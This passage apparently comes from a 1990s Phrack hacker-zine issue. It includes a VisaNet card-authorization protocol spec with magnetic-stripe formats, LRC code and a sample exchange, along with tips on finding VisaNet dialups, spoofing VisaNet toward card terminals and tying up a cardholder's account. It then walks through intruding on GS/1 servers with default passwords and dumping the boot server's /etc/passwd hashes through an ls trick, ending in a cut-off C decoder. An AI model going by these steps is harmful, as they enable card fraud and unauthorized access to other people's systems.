This value is stored in the batch detail record for terminals that capture and
is mandatory for REPS qualification.
5.12 FIELD SEPARATOR
The authorization record format specifies the use of the "FS" character.
5.13 VALIDATION CODE
This alphanumeric field will contain a validation code. The code will contain a
four-character value if the payment service indicator value is an "A" or it will
be zero in length if the payment service indicator value is not an "A". This
value is stored in the batch detail record for terminals that capture and is
mandatory for REPS qualification.
5.14 FIELD SEPARATOR
The authorization record format specifies the use of the "FS" character.
5.15 NETWORK IDENTIFICATION CODE
This one-character fixed length field contains the identification code of the
network on which the transaction was authorized. The network ID must be printed
on the receipt.
5.16 SETTLEMENT DATE
This four-digit fixed length field contains the transaction settlement date
returned by the authorizing system (MMDD). The settlement date must be printed
on the receipt.
5.17 SYSTEM TRACE AUDIT NUMBER
This six-character fixed length field contains a trace audit number which is
assigned by the authorizing system. The trace audit number must be printed on
the receipt.
5.18 RETRIEVAL REFERENCE NUMBER
This twelve-character fixed length field contains the transaction retrieval
reference number returned by the authorizing system. The reference number
should be printed on the receipt.
5.19 LOCAL TRANSACTION TIME
This six-digit fixed length field contains the transaction time returned by the
authorizing system (HHMMSS). The time must be printed on the receipt.
6.0 CONFIRMATION RECORD DATA ELEMENT DEFINITIONS
The following subsections define the debit confirmation response record data
elements.
6.01 NETWORK IDENTIFICATION CODE
This one character fixed length field contains the identification code of the
network on which the transaction was authorized. The network ID is printed on
the receipt.
6.02 SETTLEMENT DATE
This four-digit fixed length field contains the transaction settlement date
returned by the authorizing system.
6.03 SYSTEM TRACE AUDIT NUMBER
This six-character fixed length field contains the system trace audit number
which is assigned by the authorizing system.
7.0 CHARACTER CODE DEFINITIONS
The following subsections will define the authorization request record character
set and character sets used for track 1 and track 2 data encoded on the magnetic
stripes.
The authorization request records are generated with characters defined by ANSI
X3.4-1986. The data stored on the cardholder's card in magnetic or optical form
must be converted to the ANSI X3.4 character set before transmission to VisaNet.
Section 7.01 provides track 1 character set definition. Section 7.02 provides
track 2 character set definition. Section 7.03 provides the ANSI X3.4-1986 and
ISO 646 character set definitions. Section 7.04 provides a cross reference
between the track 1, track 2, and ANSI X3.4 character sets. Section 7.05
describes the method for generating and checking the Mod 10 Luhn check digit for
credit card account numbers. Section 7.06 describes the method for generating
the LRC byte for the authorization request message and for testing the card
swipe's LRC byte. Section 7.07 provides sample data for an authorization
request and response for record format "J" testing.
The POS device/authorization must perform the following operations on track
read data before it can be used in an authorization request message.
1. The LRC must be calculated for the data read from the track and compared
to the LRC read from the track. The track data is assumed to be read
without errors when on character parity errors are detected and the
calculated and read LRC's match.
2. The starting sentinel, ending sentinel, and LRC are discarded.
3. The character codes read from the magnetic stripe must be converted from
the encoded character set to the set used for the authorization request
message. The characters encoded on track 1 are six-bit plus parity codes
and the characters encoded on track 2 are four-bit plus parity codes, with
the character set used for the request message defined as seven-bit plus
parity codes.
All characters read from a track must be converted to the request message
character set and transmitted as part of the request. The converted track data
can not be modified by adding or deleting non-framing characters and must be a
one-for-one representation of the characters read from the track. [sounds like
they mean it, eh?]
7.1 TRACK 1 CHARACTER DEFINITION
Table 7.01 provides the ISO 7811-2 track 1 character encoding definitions. This
"standards" format is a SAMPLE guideline for expected credit card track
encoding; ATM/debit cards may differ. Actual cards may differ [not], whether
they are Visa cards or any other issuer's cards.
Each character is defined by the six-bit codes listed in Table 7.01.
Track 1 can be encoded with up to 79 characters as shown in Figure 7.01
+---------------------------------------------------------+
|SS|FC| PAN|FS| NAME|FS| DATE| DISCRETIONARY DATA |ES|LRC|
+---------------------------------------------------------+
LEGEND:
Field Description Length Format
--------------------------------------------------------------------------------
SS Start Sentinel 1 %
FC Format Code ("B" for credit cards) 1 A/N
PAN Primary Account Number 19 max NUM
FS Field Separator 1 ^
NAME Card Holder Name (See NOTE below) 26 max A/N
FS Field Separator 1 ^
DATE Expiration Date (YYMM) 4 NUM
Discretionary Data Option Issuer Data (See NOTE below) variable A/N
ES End Sentinel 1 ?
LRC Longitudinal Redundancy Check 1
---
Total CAN NOT exceed 79 bytes-----> 79
--------------------------------------------------------------------------------
FIGURE 7.01
Track 1 Encoding Definition
NOTE: The CARD HOLDER NAME field can include a "/" as the surname separator
and a "." as the title separator
The DISCRETIONARY DATA can contain any of the printable characters from
Table 7.01
TABLE 7.01
Track 1 Character Definition
b6 0 0 1 1
BIT NUMBER b5 0 1 0 1 (a) These character positions
------------------------------------------- are for hardware use only
b4 b3 b2 b1 ROW/COL 0 1 2 3
------------------------------------------- (b) These characters are for
0 0 0 0 0 SP 0 (a) P country use only, not for
0 0 0 1 1 (a) 1 A Q international use
0 0 1 0 2 (a) 2 B R
0 0 1 1 3 (c) 3 C S (c) These characters are
0 1 0 0 4 $ 4 D T reserved for added
0 1 0 1 5 (%) 5 E U graphic use [nifty]
0 1 1 0 6 (a) 6 F V
0 1 1 1 7 (a) 7 G W
1 0 0 0 8 ( 8 H X (%) Start sentinel
1 0 0 1 9 ) 9 I Y (/) End sentinel
1 0 1 0 A (a) (a) J Z (^) Field Separator
1 0 1 1 B (a) (a) K (b) / Surname separator
1 1 0 0 C (a) (a) L (b) . Title separator
1 1 0 1 D - (a) M (b) SP Space
1 1 1 0 E - (a) N (^) +-----------------------+
1 1 1 1 F / (?) O (a) |PAR|MSB|B5|B4|B3|B2|LSB|
+-+---+-----------------+
| |--- Most Significant Bit
|--- Parity Bit (ODD)
Read LSB First
7.02 TRACK 2 CHARACTER DEFINITION
Table 7.02 provides the ISO 7811-2 track 2 character encoding definitions. This
"standards" format is a SAMPLE guideline for expected credit card track
encoding; ATM/debit cards may differ. Actual cards may differ, whether they are
Visa cards or any other issuer's cards.
Each character is defined by the four-bit codes listed in Table 7.02.
Track 2 can be encoded with up to 40 characters as shown in Figure 7.02.
+--------------------------------------------------------+
|SS| PAN |FS| DATE| DISCRETIONARY DATA |ES|LRC|
+--------------------------------------------------------+
LEGEND:
Field Description Length Format
--------------------------------------------------------------------------------
SS Start Sentinel 1 0B hex
PAN Primary Account Number 19 max NUM
FS Field Separator 1 =
Discretionary Data Option Issuer Data (See NOTE below) variable A/N
ES End Sentinel 1 0F hex
LRC Longitudinal Redundancy Check 1
---
Total CAN NOT exceed 40 bytes-----> 40
--------------------------------------------------------------------------------
FIGURE 7.02
Track 2 Encoding Definition
NOTE: The PAN and DATE are always numeric. The DISCRETIONARY DATA can be
numeric with optional field separators as specified in Table 7.02.
TABLE 7.02
Track 2 Character Set
b4 b3 b2 b1 COL (a) These characters are for
------------------------------ hardware use only
0 0 0 0 0 0
0 0 0 1 1 1 (B) Starting Sentinel
0 0 1 0 2 2
0 0 1 1 3 3 (D) Field Separator
0 1 0 0 4 4
0 1 0 1 5 5 (F) Ending Sentinel
0 1 1 0 6 6
0 1 1 1 7 7
1 0 0 0 8 8 +---------------------------+
1 0 0 1 9 9 | PAR | MSB | b3 | b2 | LSB |
1 0 1 0 A (a) +---------------------------+
1 0 1 1 B (B) | |
1 1 0 0 C (a) | |--- Most Significant Bit
1 1 0 1 D (D) |--- Parity Bit (ODD)
1 1 1 0 E (a)
1 1 1 1 F (F) Read LSB first
[ tables 7.03a, 7.03b, and 7.04 deleted...
If you really need a fucking ascii table that bad go buy a book.]
[ section 7.05 - Account Data Luhn Check deleted...
as being unnecessary obtuse and roundabout in explaining how the check works.
the routine written by crazed luddite and murdering thug is much clearer. ]
7.06 CALCULATING AN LRC
When creating or testing the LRC for the read of the card swipe, the
authorization request record, the debit confirmation record or the VisaNet
response record; use the following steps to calculate the LRC:
1) The value of each bit in the LRC character, excluding the parity bit, is
defined such that the total count of ONE bits encoded in the corresponding
bit location of all characters of the data shall be even (this is also known
as an EXCLUSIVE OR (XOR) operation)
For card swipes, include the start sentinel, all the data read and
the end sentinel.
For VisaNet protocol messages, begin with the first character past
the STX, up to and including the ETX.
2) The LRC characters parity bit is not a parity bit for the individual parity
bits of the data message, but it only the parity bit for the LRC character
itself. Calculated as an even parity bit.
[ i list a routine for calculating an LRC o a string later on in the document ]
7.07 TEST DATA FOR RECORD FORMAT "J"
The following two sections provide sample data for testing record format "J"
with the VisaNet dial system.
7.07.01 TEST DATA FOR A FORMAT "J" AUTHORIZATION REQUEST
Table 7.07a provides a set of test data for record format "J" authorization
request.
TABLE 7.07a
Test Data For Record Format "J"
Test Data Byte # Length Format Field Name
--------------------------------------------------------------------------------
J 1 1 A/N Record Format
0, 2, or 4 2 1 A/N Application Type
. 3 1 A/N Message Delimiter
401205 4-9 6 A/N Acquirer BIN
123456789012 10-21 12 NUM Merchant Number
0001 * 22-25 4 NUM Store Number
0001 * 26-29 4 NUM Terminal Number
5999 30-33 4 NUM Merchant Category Code
840 34-36 3 NUM Merchant Country Code
94546 37-41 5 A/N Merchant City Code
108 42-44 3 NUM Time Zone Differential
54 45-46 2 A/N Authorization Transaction Code
12345678 47-54 8 NUM Terminal Identification Number
Y 55 1 A/N Payment Service Indicator
0001 * 56-59 4 NUM Transaction Sequence Number
@ 60 1 A/N Cardholder Identification Code
D, H, T, or X 61 1 A/N Account Data Source
Track or Customer Data Field
Manual Data
"FS" N.A. 1 "FS" Field Separator
0000123 N.A. 0 to 43 A/N Transaction Amount
"FS" N.A. 1 "FS" Field Separator
ER N.A. 0 or 2 A/N Device Code/Industry code
"FS" N.A. 1 "FS" Field Separator
N.A. 0 or 6 NUM Issuing/Receiving Institution ID
"FS" N.A. 1 "FS" Field Separator
000 N.A. 3 to 12 NUM Secondary Amount (Cashback)
"FS" N.A. 1 "FS" Field Separator
--------------------------------------------------------------------------------
NOTE:* Denotes fields that are returned in the response message
7.07.2 RESPONSE MESSAGE FOR TEST DATA
Table 7.07b provides the response message for the test data provided in section
7.07.1.
TABLE 7.07b
Response Message For Test Data - Record Format "J"
Test Data Byte # Length Format Field Name
--------------------------------------------------------------------------------
A, Y, N, or * 1 1 A/N Payment Service Indicator
"space"
0001 * 2-5 4 NUM Store Number
0001 * 6-9 4 NUM Terminal Number
5 * 1 1 A/N Authorization Source Code
0001 * 11-14 4 NUM Transaction Sequence Number
00 * 15-16 2 A/N Response Code
12AB45 * 17-22 6 A/N Approval Code
111992 * 23-28 6 NUM Transaction Date (MMDDYY)
AP ______ 29-44 16 A/N Authorization Response Message
0, Sp, or "FS" 45 1 A/N AVS Result Code
*Variable 0 or 15 NUM Transaction Identifier
"FS" "FS" Field Separator
*Variable 0 or 4 A/N Validation Code
"FS" "FS" Field Separator
--------------------------------------------------------------------------------
NOTE: * Move to data capture record for VisaNet Central Data Capture (CDC)
--------------------------------------------------------------------------------
[ section two ]
[ finding visanet ]
finding visanet isn't hard, but it can be tedious. visanet rents time off of
compuserve and X.25 networks. the compuserve nodes used are not the same
as their information service, cis. to identify a visanet dialup after
connecting, watch for three enq characters and a three second span to hangup.
if you've scanned out a moderate portion of your area code, you probably have a
few dialups. one idea is to write a short program to dial all the connects you
have marked as garbage or worthless [ you did keep em, right? ] and wait
for the proper sequence. X.25 connections should work similarly, but i don't
know for sure. read the section on visanet usage for other dialup sources.
[ section three ]
[ visanet link level protocol ]
messages to/from visanet have a standard format:
stx - message - etx - lrc
the message portion is the record formats covered in section one. lrc values
are calculated starting with the first byte of message, going up to and
including the etx character. heres an algorithm that calculates the lrc for a
string. note: in order to work with the visanet protocols, append etx to the
string before calling this function.
unsigned char func_makelrc(char *buff)
{
int i;
char ch, *p;
ch = 0;
p = buff;
for(;;) {
ch = (ch^(*p));
p++;
if(!(*p))
break;
}
return ch;
}
for a single authorization exchange, the easiest kind of transaction, the
sequence goes like this:
host enq stx-response-etx-lrc eot
term stx-request-etx-lrc ack
<disconnect>
matching this sequence with test record formats from section one, 7.07, heres
an ascii representation of a transaction. control characters denoted in <>'s.
[of course, you wouldn't really have a carriage return in middle of a message.
duh. ] this transaction would be for card number 4444111122223333 with an
expiration date of 04/96. the purchase amount is $1.23. visanet responds with
an approval code of 12ab45.
host: <enq>
term: <stx>J0.401205123456789012000100015999840945461085412345678Y0001@H444411
1122223333<fs>0496<fs>0000123<fs>ER<fs><fs>000<fs><etx><lrc>
host: <stx>Y00010001500010012AB45111992APPROVAL 12AB45123456789012345<fs>
ABCD<fs><etx><lrc>
term: <ack>
host: <eot>
authorizing multiple transactions during one connect session is only slightly
more complicated. the etx character on all messages sent to visanet are changed
to etb and the application type is changed from '0' to '2' [section one 4.02].
instead of responding after a transaction with eot, visanet instead polls the
terminal again with enq. this continues until the terminal either changes back
to the single transaction format or issues an eot to the host.
heres a short list of all control characters used:
stx: start-of-text, first message framing character signaling message start
etx: end-of-text, the frame ending character the last message of a sequence
eot: end-of-transmission, used to end an exchange and signal disconnect
enq: enquiry, an invitation to transmit a message or retransmit last item
ack: affirmative acknowledgment, follows correct reception of message
nak: negative acknowledgment, used to indicate that the message was not
understood or was received with errors
syn: delay character, wait thirty seconds
etb: end-of-block, the end framing character used to signal the end of a message
within a multiple message sequence
other quick notes: visanet sometimes sends ack before stx on responses
lrc characters can hold any value, such as stx, nak, etc
visanet can say goodbye at any time by sending eot
people can get very anal about error flow diagrams
[ section four ]
[ half the story; central data capture ]
a full transaction requires two steps, one of which is described in this
document: getting the initial authorization. an authorization does basically
nothing to a person's account. oh, you could shut somebody's account down for
a day or two by requesting a twenty thousand dollar authorization, but no other
ill effects would result. central data capture, the second and final step in a
transaction, needs information from both the authorization request and
response, which is used to generate additional data records. these records are
then sent to visanet by the merchant in a group, usually at the end of each day.
[ section five ]
[ common applications ]
access to visanet can be implemented in a number of ways: directly on a pos
terminal, indirectly via a lan, in a hardware specific device, or any
permutation possible to perform the necessary procedures. card swipers commonly
seen at malls are low tech, leased at around fifty dollars per month, per
terminal. they have limited capacity, but are useful in that all of the
information necessary for transactions is self contained. dr delam and maldoror
found this out, and were delighted to play the role of visanet in fooling the
little device. close scrutiny of section one reveals atm formats, phone order
procedures, and new services such as direct debit from checking/savings and
checks by phone. start noticing the stickers for telecheck and visa atm cards,
and you're starting to get the picture.
[ section seven ]
[ brave new world ]
could it be? yes, expiration dates really don't matter....
this article written to thank previous Phrack writers...
please thank me appropriately...
800#s exist...
other services exist... mastercard runs one...
never underestimate the power of asking nicely...
numerous other formats are available... see section one, 3.0 for hints...
never whistle while you're pissing... ==Phrack Magazine==
Volume Five, Issue Forty-Six, File 17 of 28
****************************************************************************
[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]
[<> <>]
[<> ----+++===::: GETTiN' D0wN 'N D1RTy wiT Da GS/1 :::===+++---- <>]
[<> <>]
[<> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <>]
[<> <>]
[<> Brought to you by: <>]
[<> [)elam0 Labz, Inc. and ChURcH oF ThE Non-CoNForMisT <>]
[<> <>]
[<> Story line: Maldoror -n- [)r. [)elam <>]
[<> Main Characters: Menacing Maldoror & The Evil [)r. [)elam <>]
[<> Unix Technical Expertise: Wunder-Boy [)elam <>]
[<> Sysco Technishun: Marvelous Maldoror <>]
[<> <>]
[<> Look for other fine [)elamo Labz and ChURcH oF ThE <>]
[<> Non-CoNForMisT products already on the market such as <>]
[<> DEPL (Delam's Elite Password Leecher), NUIA (Maldoror's <>]
[<> Tymnet NUI Attacker), TNET.SLT (Delam's cheap0 Telenet <>]
[<> skanner for Telix), PREFIX (Maldoror's telephone prefix <>]
[<> identification program), and various other programs and <>]
[<> philez written by Dr. Delam, Maldoror, Green Paradox, <>]
[<> El Penga, Hellpop, and other certified DLI and CNC members. <>]
[<> <>]
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]
Index
========================================
1. Finding and identifying a GS/1
2. Getting help
3. Gaining top privilege access
4. Finding the boot server
5. Connecting to the boot server
6. Getting the boot server password file
7. Other avenues
----------------------------------------------------------------------------
Here's hacking a GS/1 made EZ (for the sophisticated hacker) It is
advisable to fill your stein with Sysco and pay close attention... if
Sysco is not available in your area, Hacker Pschorr beer will work
almost as good... (especially Oktoberfest variety)
What is a GS/1?
---------------
A GS/1 allows a user to connect to various other computers... in other
words, it's a server, like a DEC or Xyplex.
So why hack it?
---------------
Cuz itz there... and plus you kan access all sortz of net stuph fer
phree. (QSD @ 208057040540 is lame and if you connect to it, you're
wasting the GS/1.. the French fone police will fly over to your country
and hunt you down like a wild pack of dogs, then hang you by your own
twisted pair.)
What to do:
-----------
+--------------------------------------+
+ #1. Finding and identifying a GS/1 +
+--------------------------------------+
Find a GS/1 .. they're EZ to identify.. they usually have a prompt of
GS/1, though the prompt can be set to whatever you want it to be. A
few years ago there were quite a number of GS/1's laying around on
Tymnet and Telenet... you can still find a few if you scan the right
DNIC's. (If you don't know what the hell I'm talking about, look at
some old Phracks and LOD tech. journals.)
The prompt will look similar to this:
(!2) GS/1>
(The (!2) refers to the port you are on)
+--------------------+
+ #2. Getting help +
+--------------------+
First try typing a '?' to display help items.
A help listing looks like this:
> (!2) GS/1>?
> Connect <address>[,<address>] [ ECM ] [ Q ]
> DO <macro-name>
> Echo <string>
> Listen
> Pause [<seconds>]
> PIng <address> [ timeout ]
> SET <param-name> = <value> ...
> SHow <argument> ...
At higher privileges such as global (mentioned next) the help will
look like this (note the difference in the GS/1 prompt with a # sign):
> (!2) GS/1# ?
> BRoadcast ( <address> ) <string>
> Connect ( <address> ) <address>[,<address>] [ ECM ] [ Q ]
> DEFine <macro-name> = ( <text> )
> DisConnect ( <address> ) [<session number>]
> DO ( <address> ) <macro-name>
> Echo <string>
> Listen ( <address> )
> Pause [<seconds>]
> PIng <address> [ timeout ]
> ReaD ( <address> ) <option> <parameter>
> REMOTE <address>
> ROtary ( <address> ) !<rotary> [+|-]= !<portid>[-!<portid>] , ...
> SAve ( <address> ) <option> <filename>
> SET ( <address> ) <param-name> = <value> ...
> SETDefault ( <address> ) [<param-name> = <value>] ...
> SHow ( <address> ) <argument> ...
> UNDefine ( <address> ) <macro-name>
> UNSave ( <address> ) <filename>
> ZeroMacros ( <address> )
> ZeroStats ( <address> )
Additional commands under global privilege are: BRoadcast, DEFine,
DisConnect, ReaD, REMOTE, ROtary, UNDefine, UNSave, ZeroMacros,
ZeroStats, and a few extra options under the normal user commands.
If you need in-depth help for any of the commands, you can again use the
'?' in the following fashion:
> (!2) GS/1>sho ?
> SHow ADDRess
> SHow ClearingHouseNames [ <name> [ @ <domain> [@ <organ.> ] ] ]
> SHow DefaultParameters [<param-name> ...]
> SHow GLobalPARameters
> SHow NetMAP [ Short | Long ]
> SHow PARAmeterS [<param-name> ...]
> SHow <param-name> ...
> SHow SESsions [ P ]
> SHow VERSion
> (!2) GS/1>sh add?
> SHow ADDRess
> (!2) GS/1>sh add
> ADDRess = &000023B5%07000201E1D7!2
"sh add" displays your own network, address and port number.
The network is 000023B5
The address is 07000201E1D7
The port number is 2
+------------------------------------+
+ #3. Gaining top privilege access +
+------------------------------------+
Figure out the global password.
Do a "set priv=global" command.
Note:
----
There are 3 states to set priv to: user, local, and global. Global is
the state with the most privilege. When you attain global privilege,
your prompt will change to have a '#' sign at the end of it.. this means
you have top priceless (similar to *nix's super user prompt).
The GS/1 will prompt you for a password. The default password on GS/1's
is to have no password at all... The GS/1 will still prompt you for a
password, but you can enter anything at this point if the password was
never set.
+-------------------------------+
+ #4. Finding the boot server +
+-------------------------------+
Figure out the boot server address available from this GS/1 ..
The boot server is what lies under the GS/1. We've found that GS/1's are
actually run on a Xenix operating system.. (which is of course a nice
phamiliar territory) It's debatable whether all GS/1's are run on Xenix or
not as we have yet to contact the company. (We may put out a 2nd file going
into more detail.)
Do a "sh b" or "sh global" as shown in the following examples:
> (!2) GS/1# sh b
> BAud = 9600 BootServerAddress = &00000000%070002017781
> BReakAction = ( FlushVC, InBand ) BReakChar = Disabled
> BSDelay = None BUffersize = 82
> (!2) GS/1# sh global
> ...............................Global Parameters............................
> DATE = Wed Jun 22 21:16:45 1994 TimeZone = 480 minutes
> DaylightSavingsTime = 0 minutes LogoffStr = "L8r laM3r"
> WelcomeString = "Welcome to your haqued server (!2), Connected to "
> DOmain = "thelabz" Organization = "delam0"
> PROmpt = "GS/1>" NMPrompt = "GS/1# "
> LocalPassWord = "" GlobalPassWord = "haque-me"
> NetMapBroadcast = ON MacType = EtherNET
> CONNectAudit = ON ERRorAudit = ON
> AUditServerAddress = &000031A4%07000200A3D4
> AUditTrailType = Local
> BootServerAddress = &00000000%070002017781
Side note: the GlobalPassWord is "haque-me" whereas the LocalPassWord is ""
... these are the actual passwords that need to be entered (or in the case
of the LocalPassWord, "" matches any string). You'll only be able to
"sh global" after a successful "set priv=global".
Now that you have the boot server address, the next step is enabling
communication to the boot server.
+-------------------------------------+
+ #5. Connecting to the boot server +
+-------------------------------------+
Do a REMOTE <address> where address is the address of the machine you
want to issue remote commands to.
> (!2) GS/1# REMOTE %070002017781
> (!2) Remote: ?
> BInd <address> [-f <bootfile>] [-l <loader>] [<nports>]
> BRoadcast ( <address> ) "<string>"
> CoPyfile [<address>:]<pathname> [<address>:][<pathname>]
> LiSt [ -ls1CR ] [<pathname> ...]
> MoVe <pathname> <pathname>
> NAme <clearinghouse name> = <address>[,<address>]...
> Ping <address> [timeout]
> ReMove <pathname> ...
> SET [( <address> )] <param-name> = <value> ...
> SETDefault <param-name> = <value> ...
> SHow <argument>
> UNBind <address>
> UNDefine <macro name>
> UNName <name>
> ZeroStats
> <BREAK> (to leave remote mode)
Your prompt changes from "(!2) GS/1# " to "(!2) Remote: "... this means
you will be issuing commands to whatever remote machine you specified
by the REMOTE <address> command.
Notice for this case, the boot server's address was used.
When you get the REMOTE: prompt, you can issue commands that will be
executed on the remote machine. Try doing a '?' to see if it's another
GS/1.. if not, try doing 'ls' to see if you have a *nix type machine.
Also notice that the help commands on the remote are not the same as
those for the GS/1 (though, if you establish a remote link with another
GS/1 they will be the same).
> (!2) Remote: ls -l
> total 1174
> drwxrwxrwx 2 ncs ncs 160 Aug 17 1989 AC
> drwxrwxrwx 2 ncs ncs 5920 Jun 5 00:00 AUDIT_TRAIL
> drwxrwxrwx 2 ncs ncs 96 Jun 5 01:00 BACKUP
> drwxrwxrwx 2 ncs ncs 240 Jun 4 04:42 BIN
> drwxrwxrwx 2 ncs ncs 192 Jun 4 04:13 CONFIGS
> drwxrwxrwx 2 ncs ncs 64 Aug 17 1989 DUMP
> drwxrwxrwx 2 ncs ncs 80 Aug 17 1989 ETC
> drwxrwxrwx 2 ncs ncs 160 Jun 4 04:13 GLOBALS
> -rw-r--r-- 1 ncs ncs 228 Jun 5 00:59 btdata
> -rw-r--r-- 1 ncs ncs 8192 Jun 8 1993 chnames.dir
> -rw-r--r-- 1 ncs ncs 11264 Jun 1 13:41 chnames.pag
> drwxrwxrwx 2 ncs ncs 48 Jun 5 00:00 dev
> drwx------ 2 bin bin 1024 Aug 17 1989 lost+found
> -rw-rw-rw- 1 ncs ncs 557056 Mar 23 1992 macros
> -rw-r--r-- 1 ncs ncs 512 Oct 22 1993 passwd
Look familiar?? If not, go to the nearest convenient store and buy the
a 12 pack of the cheapest beer you can find.. leave your computer
connected so you hurry back, and slam eight or nine cold onez... then
look at the screen again.
You're basically doing a Remote Procedure Call for ls to your Xenix boot
server.
Notice at this point that the "passwd" is not owned by root. This is
because this is not the system password file, and you are not in the
"/etc" directory... (yet)
There are a couple of problems:
> (!2) Remote: cat
> Invalid REMOTE command
>
> (!2) Remote: cd /etc
> Invalid REMOTE command
You cannot view files and you cannot change directories.
To solve the "cd" problem do the following:
> (!2) Remote: ls -l ..
> total 26
> drwxrwxrwx 12 root root 352 Jun 5 00:59 NCS
> drwxr-xr-x 2 bin bin 112 Aug 17 1989 adm
> drwxrwx--- 2 sysinfo sysinfo 48 Aug 17 1989 backup
> drwxr-xr-x 2 bin bin 1552 Aug 17 1989 bin
> drwxr-xr-x 20 bin bin 720 Aug 17 1989 lib
> drwxrwxrwx 6 ncs ncs 224 Aug 17 1989 ncs
> drwxr-xr-x 2 bin bin 32 Aug 17 1989 preserve
> drwxr-xr-x 2 bin bin 64 Aug 17 1989 pub
> drwxr-xr-x 7 bin bin 144 Aug 17 1989 spool
> drwxr-xr-x 9 bin bin 144 Aug 17 1989 sys
> drwxr-x--- 2 root root 48 Aug 17 1989 sysadm
> drwxrwxrwx 2 bin bin 48 Jun 5 01:00 tmp
>
> (!2) Remote: ls -l ../..
> total 1402
> -rw-r--r-- 1 root root 1605 Aug 17 1989 .login
> -r--r--r-- 1 ncs ncs 1605 Aug 28 1990 .login.ncs
> -rw-r--r-- 1 root root 653 Aug 17 1989 .logout
> -r--r--r-- 1 ncs ncs 653 Aug 28 1990 .logout.ncs
> -rw------- 1 root root 427 Aug 17 1989 .profile
> drwxr-xr-x 2 bin bin 2048 Aug 17 1989 bin
> -r-------- 1 bin bin 25526 May 4 1989 boot
> drwxr-xr-x 6 bin bin 3776 Aug 17 1989 dev
> -r-------- 1 bin bin 577 Nov 3 1987 dos
> drwxr-xr-x 5 bin bin 1904 Jun 2 12:40 etc
> drwxr-xr-x 2 bin bin 64 Aug 17 1989 lib
> drwx------ 2 bin bin 1024 Aug 17 1989 lost+found
> drwxr-xr-x 2 bin bin 32 Aug 17 1989 mnt
> drwxrwxrwx 2 bin bin 512 Jun 5 01:20 tmp
> drwxr-xr-x 14 bin bin 224 Aug 17 1989 usr
> -rw-r--r-- 1 bin bin 373107 Aug 17 1989 xenix
> -rw-r--r-- 1 root root 287702 Aug 17 1989 xenix.old
Your brain should now experience deja vous.. you just found the
root directory. (for the non-*nix, lam0-hacker, the root directory
has key *nix directories such as /etc, /bin, /dev, /lib, etc. in it.)
Now you can get to /etc/passwd as follows:
> (!2) Remote: ls -l ../../etc
> total 1954
> -rwx--x--x 1 bin bin 7110 May 8 1989 accton
> -rwx------ 1 bin bin 1943 May 8 1989 asktime
> -rwx------ 1 bin bin 31756 May 8 1989 badtrk
> -rw-rw-rw- 1 root root 1200 Apr 24 12:40 bootlog
> -rwx--x--x 1 bin bin 24726 May 8 1989 brand
> -rw-r--r-- 1 bin bin 17 Aug 17 1989 checklist
> -rw-r--r-- 2 bin bin 17 Aug 17 1989 checklist.last
> -rw-r--r-- 1 ncs ncs 17 Aug 28 1990 checklist.ncs
> -rw-r--r-- 2 bin bin 17 Aug 17 1989 checklist.orig
> -rwx------ 1 bin bin 2857 May 8 1989 chsh
> -rwx------ 1 bin bin 7550 May 8 1989 clri
> -rwx------ 1 bin bin 8034 May 8 1989 cmos
> -rwxr-xr-x 1 root bin 31090 Aug 28 1990 cron
> -rw-r--r-- 1 bin bin 369 May 8 1989 cshrc
> ...... etc.
> -rw-r--r-- 1 root root 465 Mar 5 1991 passwd
Yeah, now what?!
You've found the /etc/passwd file, but you don't have "cat" to type the
file out. Now you're stuck... so drink a half a bottle of Sysco per
person. (We did... and as you'll see, Sysco is the drink of a manly hackers
like us... make sure it's the big bottle kind not those girly small
onez.)
+---------------------------------------------+
+ #6. Getting the boot server password file +
+---------------------------------------------+
There is one way to get around the cat problem (no itz n0t puttin
catnip laced with somethin U made frum a phile on yer doorstep)
It's done using ls. On this Xenix system, the directory structure is
the old Unix format: A 16 byte record comprised of a 2 byte I-number
and a 14 byte character field.
Note about directory structure for the inquisitive hacker:
In a directory record there is a 14 byte string containing the file
name, and the 2 byte I-number (2 bytes = an integer in this case)
which is a number that is an (I)ndex pointer to the I-node. The
I-node then contains the information about where the file's data is
actually kept (similar to how a FAT table works on an IBM PC yet a
different concept as it has indirect index blocks etc. I won't get
into) and what permissions are set for the file. Be warned that in
newer *nix implementations, file names can be more than 14 characters
and the directory structure will be a bit different than discussed.
The "ls" command has an option that allows you to tell it "this *file* is
a *directory*.. so show me what's in the directory"... newer *nix
systems won't like this (the -f option) because of the new directory
structure.
> (!2) Remote: ls -?
> ls: illegal option --?
> usage: -1ACFRabcdfgilmnopqrstux [files]
>
> (!2) Remote: ls -1ACFRabcdfgilmnopqrstux ../../etc/passwd
> 28530 ot:BJlx/e8APHe 30580 :0:0:Super use 14962 /:/bin/csh?sys
> 25697 m:X/haSqFDwHz1 14929 0:0:System Adm 28265 istration:/usr
> 29487 ysadm:/bin/sh? 29283 on:NOLOGIN:1:1 17210 ron daemon for
> 28704 eriodic tasks: 14895 ?bin:NOLOGIN:3 13114 :System file a
> 28004 inistration:/: 29962 ucp::4:4:Uucp 25697 ministration:/
> 29557 r/spool/uucppu 27746 ic:/usr/lib/uu 28771 /uucico?asg:NO
> 20300 GIN:6:6:Assign 25185 le device admi 26990 stration:/:?sy
> 26995 nfo:NOLOGIN:10 12602 0:Access to sy 29811 em information
> 12090 :?network:NOLO 18759 N:12:12:Mail a 25710 Network admin
> 29545 tration:/usr/s 28528 ol/micnet:?lp: 20302 LOGIN:14:3:Pri
> 29806 spooler admin 29545 tration:/usr/s 28528 ol/lp:?dos:NOL
> 18255 IN:16:10:Acces 8307 to Dos devices 12090 :?ncs:yYNFnHnL
> 22327 xcU:100:100:NC 8275 operator:/usr/
>
> (!2) Remote: <BRK>
> (!2) GS/1#
Wow, kewl. Now that you have a bunch-o-shit on your screen, you have
to make some sense out of it.
The password file is almost legible, but the I-numbers still need to be
converted to ASCII characters. This can be accomplished in a variety of
ways... the easiest is to write a program like the following in C:
On a PC the following code should work:
#include <stdio.h>
main()
{
union {
int i;
char c[2];
} x;
while (1) {
printf("Enter I-Number: ");
scanf("%d", &x.i);
printf("%d = [%c][%c]\n\n", x.i, x.c[0], x.c[1]);
}
}
On a *nix based system the following code will work (depending on
word size and byte arrangement):
#include <stdio.h>
main()
{
union {
short int i;
char c[2];
} x;
while (1) {
printf("Enter I-Number: ");
scanf("%hd", &x.i);
